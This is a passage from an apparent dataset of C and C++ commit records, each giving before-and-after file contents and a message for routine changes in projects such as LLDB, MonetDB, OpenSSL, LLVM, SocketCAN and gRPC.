alloc.\n","lang":"C","license":"mit","repos":"frostburn\/tinytsumego,frostburn\/tinytsumego"}
{"commit":"1585507cfb362f92a5dd711a91dc69b6b0314e18","old_file":"include\/lldb\/Host\/Config.h","new_file":"include\/lldb\/Host\/Config.h","old_contents":"\/\/===-- Config.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLDB_HOST_CONFIG_H\n#define LLDB_HOST_CONFIG_H\n \n#if defined(__APPLE__)\n\n\/\/ This block of code only exists to keep the Xcode project working in the\n\/\/ absence of a configuration step.\n#define LLDB_CONFIG_TERMIOS_SUPPORTED 1\n\n#define HAVE_SYS_EVENT_H 1\n\n#define HAVE_PPOLL 0\n\n#else\n\n#error This file is only used by the Xcode build.\n\n#endif\n\n#endif \/\/ #ifndef LLDB_HOST_CONFIG_H\n","new_contents":"\/\/===-- Config.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLDB_HOST_CONFIG_H\n#define LLDB_HOST_CONFIG_H\n \n#if defined(__APPLE__)\n\n\/\/ This block of code only exists to keep the Xcode project working in the\n\/\/ absence of a configuration step.\n#define LLDB_CONFIG_TERMIOS_SUPPORTED 1\n\n#define HAVE_SYS_EVENT_H 1\n\n#define HAVE_PPOLL 0\n\n#define HAVE_SIGACTION 1\n\n#else\n\n#error This file is only used by the Xcode build.\n\n#endif\n\n#endif \/\/ #ifndef LLDB_HOST_CONFIG_H\n","subject":"Define HAVE_SIGACTION to 1 in Xcode build","message":"Define HAVE_SIGACTION to 1 in Xcode build\n\nThis is needed to make the Xcode project build since it doesn't have auto-generated Config header.\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@300618 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb"}
{"commit":"749d1b8b2b92a439056026d3a2490f14db6ce688","old_file":"Ray\/Ray\/Material.h","new_file":"Ray\/Ray\/Material.h","old_contents":"#pragma once\n\n#include \"Vector3.h\"\n\ntypedef Vector3 Color;\n\nclass Material\n{\npublic:\n\tMaterial();\n\tvirtual ~Material();\n\n\tvoid setColor(Color& color);\n\tColor getColor(void) const;\n\tvoid setDiffuse(double diffuse);\n\tdouble getDiffuse(void) const;\n\t\n\tvoid setReflection(double refl);\n\tdouble GetReflection(void) const;\n\tdouble getSpecular(void) const;\n\t\nprotected:\n\tColor color;\n\tfloat refl;\n\tfloat diff;\n};\n\n","new_contents":"#pragma once\n\n#include \"Vector3.h\"\n\ntypedef Vector3 Color;\n\nclass Material\n{\npublic:\n\tMaterial();\n\tvirtual ~Material();\n\n\tvoid setColor(Color& color);\n\tColor getColor(void) const;\n\tvoid setDiffuse(double diffuse);\n\tdouble getDiffuse(void) const;\n\t\n\tvoid setReflection(double refl);\n\tdouble GetReflection(void) const;\n\tdouble getSpecular(void) const;\n\t\nprotected:\n\tColor color;\n\tdouble refl;\n\tdouble diff;\n};\n\n","subject":"Fix double \/ float mismatch","message":"Fix double \/ float mismatch\n","lang":"C","license":"mit","repos":"vsiles\/RayEngine,vsiles\/RayEngine"}
{"commit":"bcc37130a7535a1ebea95afcf67a323b17683f4d","old_file":"IAAI.c","new_file":"IAAI.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  system(RAW);\n\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\r\");\n      for ( size_t j = 0 ; j <= i ; j++ ) {\n\tprintf(\"%c\", str[j]);\n      }\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  system(RAW);\n\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\x1b[2K\\r\");\n      for ( size_t j = 0 ; j <= i ; j++ ) {\n\tprintf(\"%c\", str[j]);\n      }\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","subject":"Use ANSI sequences to ensure line clearing","message":"Use ANSI sequences to ensure line clearing\n","lang":"C","license":"mit","repos":"vinamarora8\/IAAI"}
{"commit":"3227e32b40e6c3749cb869f925e2b194a409dfa3","old_file":"sql\/backends\/monet5\/sql_readline.h","new_file":"sql\/backends\/monet5\/sql_readline.h","old_contents":"\/*\n * The contents of this file are subject to the MonetDB Public License\n * Version 1.1 (the \"License\"); you may not use this file except in\n * compliance with the License. You may obtain a copy of the License at\n * http:\/\/www.monetdb.org\/Legal\/MonetDBLicense\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\n * License for the specific language governing rights and limitations\n * under the License.\n *\n * The Original Code is the MonetDB Database System.\n *\n * The Initial Developer of the Original Code is CWI.\n * Portions created by CWI are Copyright (C) 1997-July 2008 CWI.\n * Copyright August 2008-2012 MonetDB B.V.\n * All Rights Reserved.\n *\/\n\n#ifndef SQL_READLINETOOLS_H_INCLUDED\n#define SQL_READLINETOOLS_H_INCLUDED\n\n#include \"mal_client.h\"\nsql5_export int SQLreadConsole(Client cntxt);\n\n#endif \/* SQL_READLINETOOLS_H_INCLUDED *\/\n","new_contents":"\/*\n * The contents of this file are subject to the MonetDB Public License\n * Version 1.1 (the \"License\"); you may not use this file except in\n * compliance with the License. You may obtain a copy of the License at\n * http:\/\/www.monetdb.org\/Legal\/MonetDBLicense\n *\n * Software distributed under the License is distributed on an \"AS IS\"\n * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the\n * License for the specific language governing rights and limitations\n * under the License.\n *\n * The Original Code is the MonetDB Database System.\n *\n * The Initial Developer of the Original Code is CWI.\n * Portions created by CWI are Copyright (C) 1997-July 2008 CWI.\n * Copyright August 2008-2012 MonetDB B.V.\n * All Rights Reserved.\n *\/\n\n#ifndef SQL_READLINETOOLS_H_INCLUDED\n#define SQL_READLINETOOLS_H_INCLUDED\n\n#ifdef WIN32\n#ifndef LIBSQL\n#define sql5_export extern __declspec(dllimport)\n#else\n#define sql5_export extern __declspec(dllexport)\n#endif\n#else\n#define sql5_export extern\n#endif\n\n#include \"mal_client.h\"\nsql5_export int SQLreadConsole(Client cntxt);\n\n#endif \/* SQL_READLINETOOLS_H_INCLUDED *\/\n","subject":"Define sql5_export so that things compile.","message":"Define sql5_export so that things compile.\n","lang":"C","license":"mpl-2.0","repos":"zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb,zyzyis\/monetdb"}
{"commit":"a0770fe0570e07eadb02a84fa8f14ea4399805b7","old_file":"You-DataStore\/internal\/operation.h","new_file":"You-DataStore\/internal\/operation.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\t\/\/\/ The constructor\n\t\/\/\/ \\param stask the serialized task the operation need to work with\n\texplicit IOperation(SerializedTask& stask);\n\tvirtual ~IOperation();\n\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_INTERNAL_OPERATION_H_\n#define YOU_DATASTORE_INTERNAL_OPERATION_H_\n\n#include <unordered_map>\n#include \"..\/task_typedefs.h\"\n\nnamespace You {\nnamespace DataStore {\n\n\/\/\/ A pure virtual class of operations to be put into transaction stack\nclass IOperation {\npublic:\n\t\/\/\/ Executes the operation\n\tvirtual bool run() = 0;\nprotected:\n\tTaskId taskId;\n\tSerializedTask task;\n};\n\n}   \/\/ namespace DataStore\n}   \/\/ namespace You\n\n#endif  \/\/ YOU_DATASTORE_INTERNAL_OPERATION_H_\n","subject":"Remove ctor and dtor of IOperation to make it a pure virtual class","message":"Remove ctor and dtor of IOperation to make it a pure virtual class\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"85d3e8a4eb0d0e9670ae66c699f39c4d5380d246","old_file":"OpenROV\/AConfig.h","new_file":"OpenROV\/AConfig.h","old_contents":"#ifndef __ACONFIG_H_\n#define __ACONFIG_H_\n\n\/* This must be before alphabetically before all other files that reference these settings for the compiler to work\n*  or you may get vtable errors.\n*\/\n\n\/* This section is for devices and their configuration. IF you have not setup you pins with the\n*  standard configuration of the OpenROV kits, you should probably clone the cape or controlboard\n*  and change the pin definitions there.  Things not wired to specific pins but on the I2C bus will\n*  have the address defined in this file.\n*\/\n\/\/Kit:\n#define HAS_STD_CAPE (0)\n#define HAS_STD_PILOT (1)\n#define HAS_OROV_CONTROLLERBOARD_25 (0)\n\n#define HAS_STD_LIGHTS (1)\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_CAMERAMOUNT (1)\n\n\/\/After Market:\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n#define HAS_MPU9150 (0)\n#define MPU9150_EEPROM_START 2\n\n\n#endif\n","new_contents":"#ifndef __ACONFIG_H_\n#define __ACONFIG_H_\n\n\/* This must be before alphabetically before all other files that reference these settings for the compiler to work\n*  or you may get vtable errors.\n*\/\n\n\/* This section is for devices and their configuration. IF you have not setup you pins with the\n*  standard configuration of the OpenROV kits, you should probably clone the cape or controlboard\n*  and change the pin definitions there.  Things not wired to specific pins but on the I2C bus will\n*  have the address defined in this file.\n*\/\n\/\/Kit:\n#define HAS_STD_PILOT (1)\n\/* The definitions are done in th\n\t#define HAS_STD_CAPE (0)\n\t#define HAS_OROV_CONTROLLERBOARD_25 (0)\n*\/\n#include \"BoardConfig.h\"\n\n#define HAS_STD_LIGHTS (1)\n#define HAS_STD_CALIBRATIONLASERS (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_CAMERAMOUNT (1)\n\n\/\/After Market:\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n#define HAS_MPU9150 (0)\n#define MPU9150_EEPROM_START 2\n\n\n#endif\n","subject":"Add automation for arduino board selection for compilation","message":"Add automation for arduino board selection for compilation\n","lang":"C","license":"mit","repos":"LeeCheongAh\/openrov-software-arduino,OpenROV\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,dieface\/openrov-software-arduino,dieface\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,OpenROV\/openrov-software-arduino,johan--\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,johan--\/openrov-software-arduino,binary42\/openrov-software-arduino,OpenROV\/openrov-software-arduino,binary42\/openrov-software-arduino"}
{"commit":"9e5f5831093c8a1896755915a7349bfd5caa3870","old_file":"cpp\/Timer\/timer.h","new_file":"cpp\/Timer\/timer.h","old_contents":"","new_contents":"#ifndef TIMER_H\n#define TIMER_H\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/time.h>\n\nusing namespace std;\n\nclass Timer {\nprivate:\n\n    timeval startTime;\n\npublic:\n\n    void start(){\n        gettimeofday(&startTime, NULL);\n    }\n\n    double stop(){\n        timeval endTime;\n        long seconds, useconds;\n        double duration;\n\n        gettimeofday(&endTime, NULL);\n\n        seconds  = endTime.tv_sec  - startTime.tv_sec;\n        useconds = endTime.tv_usec - startTime.tv_usec;\n\n        duration = seconds + useconds\/1000000.0;\n\n        return duration;\n    }\n\n    static void printTime(double duration){\n        printf(\"%5.6f seconds\\n\", duration);\n    }\n};\n\n#endif \/\/ TIMER_H\n","subject":"Add Timer implementation for C++.","message":"[code] Add Timer implementation for C++.\n","lang":"C","license":"apache-2.0","repos":"wangzk\/my-util-codebase,wangzk\/my-util-codebase,wangzk\/my-util-codebase"}
{"commit":"e90c7729467108ffd6f813ade011c7ec5ced9680","old_file":"crypto\/opensslv.h","new_file":"crypto\/opensslv.h","old_contents":"#ifndef HEADER_OPENSSLV_H\n#define HEADER_OPENSSLV_H\n\n#define OPENSSL_VERSION_NUMBER\t0x0923\t\/* Version 0.9.1c is 0913 *\/\n#define OPENSSL_VERSION_TEXT\t\"OpenSSL 0.9.2c 01 Apr 1999\"\n#define OPENSSL_VERSION_PTEXT\t\" part of \" OPENSSL_VERSION_TEXT\n\n#endif \/* HEADER_OPENSSLV_H *\/\n","new_contents":"#ifndef HEADER_OPENSSLV_H\n#define HEADER_OPENSSLV_H\n\n\/* Numeric release version identifier:\n * MMNNFFRBB: major minor fix final beta\/patch\n * For example:\n * 0.9.3-dev\t0x00903000\n * 0.9.3beta1\t0x00903001\n * 0.9.3\t0x00903100\n * 0.9.3a\t0x00903101\n * 1.2.3z\t0x1020311a\n *\/\n#define OPENSSL_VERSION_NUMBER\t0x00903000L\n#define OPENSSL_VERSION_TEXT\t\"OpenSSL 0.9.3-dev 19 May 1999\"\n#define OPENSSL_VERSION_PTEXT\t\" part of \" OPENSSL_VERSION_TEXT\n\n#endif \/* HEADER_OPENSSLV_H *\/\n","subject":"Switch to new version numbering scheme.","message":"Switch to new version numbering scheme.\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"b0ce1a387ce1c86b8b0008518a99d786006d1f32","old_file":"include\/llvm\/Config\/dlfcn.h","new_file":"include\/llvm\/Config\/dlfcn.h","old_contents":"\/* \n *                     The LLVM Compiler Infrastructure\n *\n * This file was developed by the LLVM research group and is distributed under\n * the University of Illinois Open Source License. See LICENSE.TXT for details.\n * \n ******************************************************************************\n *\n * Description:\n *\tThis header file is the autoconf replacement for dlfcn.h (if it lives\n *\ton the system).\n *\/\n\n#ifndef _CONFIG_DLFCN_H\n#define _CONFIG_DLFCN_H\n\n#include \"llvm\/Config\/config.h\"\n\n#ifdef HAVE_DLFCN_H\n#include <dlfcn.h>\n#endif\n\n#endif\n","new_contents":"\/* \n *                     The LLVM Compiler Infrastructure\n *\n * This file was developed by the LLVM research group and is distributed under\n * the University of Illinois Open Source License. See LICENSE.TXT for details.\n * \n ******************************************************************************\n *\n * Description:\n *\tThis header file is the autoconf replacement for dlfcn.h (if it lives\n *\ton the system).\n *\/\n\n#ifndef _CONFIG_DLFCN_H\n#define _CONFIG_DLFCN_H\n\n#include \"llvm\/Config\/config.h\"\n\n#ifdef HAVE_LTDL_H\n#include <ltdl.h>\n#endif\n\n#ifdef HAVE_DLFCN_H\n#include <dlfcn.h>\n#endif\n\n#endif\n","subject":"Include ltdl.h if we have it.","message":"Include ltdl.h if we have it.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@17952 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap"}
{"commit":"422ff0407a087d851e93a5ff93b1461bcdd49068","old_file":"include\/socketcan\/can\/raw.h","new_file":"include\/socketcan\/can\/raw.h","old_contents":"\/*\n * socketcan\/can\/raw.h\n *\n * Definitions for raw CAN sockets\n *\n * Authors: Oliver Hartkopp <oliver.hartkopp@volkswagen.de>\n *          Urs Thuermann   <urs.thuermann@volkswagen.de>\n * Copyright (c) 2002-2007 Volkswagen Group Electronic Research\n * All rights reserved.\n *\n *\/\n\n#ifndef CAN_RAW_H\n#define CAN_RAW_H\n\n#include <socketcan\/can.h>\n\n#define SOL_CAN_RAW (SOL_CAN_BASE + CAN_RAW)\n\n\/* for socket options affecting the socket (not the global system) *\/\n\nenum {\n\tCAN_RAW_FILTER = 1,\t\/* set 0 .. n can_filter(s)          *\/\n\tCAN_RAW_ERR_FILTER,\t\/* set filter for error frames       *\/\n\tCAN_RAW_LOOPBACK,\t\/* local loopback (default:on)       *\/\n\tCAN_RAW_RECV_OWN_MSGS,\t\/* receive my own msgs (default:off) *\/\n\tCAN_RAW_FD_FRAMES,\t\/* allow CAN FD frames (default:off) *\/\n};\n\n#endif\n","new_contents":"\/*\n * socketcan\/can\/raw.h\n *\n * Definitions for raw CAN sockets\n *\n * Authors: Oliver Hartkopp <oliver.hartkopp@volkswagen.de>\n *          Urs Thuermann   <urs.thuermann@volkswagen.de>\n * Copyright (c) 2002-2007 Volkswagen Group Electronic Research\n * All rights reserved.\n *\n *\/\n\n#ifndef CAN_RAW_H\n#define CAN_RAW_H\n\n#include <socketcan\/can.h>\n\n#define SOL_CAN_RAW (SOL_CAN_BASE + CAN_RAW)\n\n\/* for socket options affecting the socket (not the global system) *\/\n\nenum {\n\tCAN_RAW_FILTER = 1,\t\/* set 0 .. n can_filter(s)          *\/\n\tCAN_RAW_ERR_FILTER,\t\/* set filter for error frames       *\/\n\tCAN_RAW_LOOPBACK,\t\/* local loopback (default:on)       *\/\n\tCAN_RAW_RECV_OWN_MSGS,\t\/* receive my own msgs (default:off) *\/\n\tCAN_RAW_FD_FRAMES\t\/* allow CAN FD frames (default:off) *\/\n};\n\n#endif\n","subject":"Fix compiler warning about redundant comma","message":"Fix compiler warning about redundant comma\n","lang":"C","license":"mit","repos":"entropia\/libsocket-can-java,entropia\/libsocket-can-java,entropia\/libsocket-can-java"}
{"commit":"a2bde6cb8af902bdeef1fec4677f7fd48bab1c10","old_file":"src\/apricosterm.h","new_file":"src\/apricosterm.h","old_contents":"#ifndef APRTERM_H\n#define APRTERM_H\n\n#include <SDL2\/SDL.h>\n\n#ifndef VERSION\n#define VERSION \"UNKNOWN\"\n#endif \/* VERSION *\/\n\n#ifndef RESOURCE_DIR\n#define RESOURCE_DIR \".\"\n#endif \/* RESOURCE_DIR *\/\n\n\/* Font info *\/\n#define FONT_FILE   \"vga8x16.png\"\n#define CHAR_WIDTH  8\n#define CHAR_HEIGHT 16\n#define FONT_COLS   32\n#define FONT_LINES  8\n\n\/* Screen info *\/\n#define SCREEN_WIDTH  640\n#define SCREEN_HEIGHT 480\n#define SCREEN_ROWS   (SCREEN_HEIGHT \/ CHAR_HEIGHT)\n#define SCREEN_COLS   (SCREEN_WIDTH \/ CHAR_WIDTH)\n\n\/* Terminal settings *\/\n#define BACKGROUND_COLOR {0, 0, 0, 255}\n#define FOREGROUND_COLOR EGA_GRAY\n\n#endif \/* APRTERM_H *\/\n","new_contents":"#ifndef APRTERM_H\n#define APRTERM_H\n\n#include <SDL2\/SDL.h>\n\n#ifndef VERSION\n#define VERSION \"UNKNOWN\"\n#endif \/* VERSION *\/\n\n#ifndef RESOURCE_DIR\n#define RESOURCE_DIR \".\"\n#endif \/* RESOURCE_DIR *\/\n\n\/* Font info *\/\n#define FONT_FILE   \"vga8x16.png\"\n#define CHAR_WIDTH  8\n#define CHAR_HEIGHT 16\n#define FONT_COLS   32\n#define FONT_LINES  8\n\n\/* Screen info *\/\n#define SCREEN_WIDTH  640\n#define SCREEN_HEIGHT 480\n#define SCREEN_ROWS   (SCREEN_HEIGHT \/ CHAR_HEIGHT)\n#define SCREEN_COLS   (SCREEN_WIDTH \/ CHAR_WIDTH)\n\n\/* Terminal settings *\/\n#define BACKGROUND_COLOR EGA_BLACK\n#define FOREGROUND_COLOR EGA_GRAY\n\n#endif \/* APRTERM_H *\/\n","subject":"Use EGA color constant for background","message":"Use EGA color constant for background\n","lang":"C","license":"mit","repos":"drdanick\/apricosterm"}
{"commit":"bcaf6d41b80ac74122a9b5daa87e329348dbf094","old_file":"src\/core\/lib\/gprpp\/optional.h","new_file":"src\/core\/lib\/gprpp\/optional.h","old_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n#define GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n\nnamespace grpc_core {\n\n\/* A make-shift alternative for absl::Optional. This can be removed in favor of\n * that once absl dependencies can be introduced. *\/\ntemplate <typename T>\nclass Optional {\n public:\n  Optional() : value_() {}\n  void set(const T& val) {\n    value_ = val;\n    set_ = true;\n  }\n\n  bool has_value() const { return set_; }\n\n  void reset() { set_ = false; }\n\n  T value() const { return value_; }\n\n private:\n  T value_;\n  bool set_ = false;\n};\n\n} \/* namespace grpc_core *\/\n\n#endif \/* GRPC_CORE_LIB_GPRPP_OPTIONAL_H *\/\n","new_contents":"\/*\n *\n * Copyright 2019 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n#define GRPC_CORE_LIB_GPRPP_OPTIONAL_H\n\n#include <grpc\/support\/port_platform.h>\n\n#include <utility>\n\nnamespace grpc_core {\n\n\/* A make-shift alternative for absl::Optional. This can be removed in favor of\n * that once absl dependencies can be introduced. *\/\ntemplate <typename T>\nclass Optional {\n public:\n  Optional() : value_() {}\n\n  void set(const T& val) {\n    value_ = val;\n    set_ = true;\n  }\n\n  void set(T&& val) {\n    value_ = std::move(val);\n    set_ = true;\n  }\n\n  bool has_value() const { return set_; }\n\n  void reset() { set_ = false; }\n\n  T value() const { return value_; }\n\n private:\n  T value_;\n  bool set_ = false;\n};\n\n} \/* namespace grpc_core *\/\n\n#endif \/* GRPC_CORE_LIB_GPRPP_OPTIONAL_H *\/\n","subject":"Add move assignment method to Optional<>","message":"Add move assignment method to Optional<>\n","lang":"C","license":"apache-2.0","repos":"jtattermusch\/grpc,stanley-cheung\/grpc,firebase\/grpc,jboeuf\/grpc,grpc\/grpc,ejona86\/grpc,ctiller\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,vjpai\/grpc,jboeuf\/grpc,ejona86\/grpc,stanley-cheung\/grpc,vjpai\/grpc,firebase\/grpc,ejona86\/grpc,ejona86\/grpc,vjpai\/grpc,muxi\/grpc,jtattermusch\/grpc,jboeuf\/grpc,jtattermusch\/grpc,muxi\/grpc,donnadionne\/grpc,grpc\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,firebase\/grpc,stanley-cheung\/grpc,ctiller\/grpc,jtattermusch\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,muxi\/grpc,jboeuf\/grpc,muxi\/grpc,grpc\/grpc,firebase\/grpc,firebase\/grpc,donnadionne\/grpc,jtattermusch\/grpc,ctiller\/grpc,ejona86\/grpc,jtattermusch\/grpc,jboeuf\/grpc,donnadionne\/grpc,donnadionne\/grpc,vjpai\/grpc,ctiller\/grpc,nicolasnoble\/grpc,ctiller\/grpc,ctiller\/grpc,jtattermusch\/grpc,grpc\/grpc,ejona86\/grpc,stanley-cheung\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,jboeuf\/grpc,muxi\/grpc,jtattermusch\/grpc,firebase\/grpc,muxi\/grpc,jtattermusch\/grpc,jboeuf\/grpc,firebase\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,ejona86\/grpc,ejona86\/grpc,jboeuf\/grpc,ejona86\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,muxi\/grpc,ctiller\/grpc,ctiller\/grpc,stanley-cheung\/grpc,firebase\/grpc,nicolasnoble\/grpc,ejona86\/grpc,grpc\/grpc,jboeuf\/grpc,ctiller\/grpc,firebase\/grpc,muxi\/grpc,vjpai\/grpc,stanley-cheung\/grpc,jboeuf\/grpc,jtattermusch\/grpc,ctiller\/grpc,nicolasnoble\/grpc,firebase\/grpc,donnadionne\/grpc,ctiller\/grpc,muxi\/grpc,grpc\/grpc,grpc\/grpc,vjpai\/grpc,firebase\/grpc,grpc\/grpc,vjpai\/grpc,vjpai\/grpc,jboeuf\/grpc,muxi\/grpc,nicolasnoble\/grpc,jboeuf\/grpc,grpc\/grpc,vjpai\/grpc,ejona86\/grpc,nicolasnoble\/grpc,muxi\/grpc,firebase\/grpc,vjpai\/grpc,donnadionne\/grpc,muxi\/grpc,grpc\/grpc,vjpai\/grpc,ctiller\/grpc,grpc\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,ejona86\/grpc,grpc\/grpc,jtattermusch\/grpc,vjpai\/grpc"}
{"commit":"0c70c6e5ea5541a613d39c5e052ed2b3feb0ca6d","old_file":"src\/kernel\/thread\/sched_none.c","new_file":"src\/kernel\/thread\/sched_none.c","old_contents":"\/**\n * @file\n *\n * @date Mar 21, 2013\n * @author: Anton Bondarev\n *\/\n\nstruct sleepq;\nstruct event;\n\nvoid sched_wake_all(struct sleepq *sq) {\n\n}\n\nint sched_sleep_ms(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\nint sched_sleep_locked_ms(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\n\nint sched_sleep_ns(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\n\nint sched_sleep_us(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\nint sched_sleep_locked_us(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\n\nint sched_sleep_locked_ns(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n","new_contents":"\/**\n * @file\n *\n * @date Mar 21, 2013\n * @author: Anton Bondarev\n *\/\n\nstruct sleepq;\nstruct event;\n\nvoid sched_wake_all(struct sleepq *sq) {\n\n}\n\nint sched_sleep(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n\nint sched_sleep_locked(struct sleepq *sq, unsigned long timeout) {\n\treturn 0;\n}\n","subject":"Fix MIPS template in master","message":"Fix MIPS template in 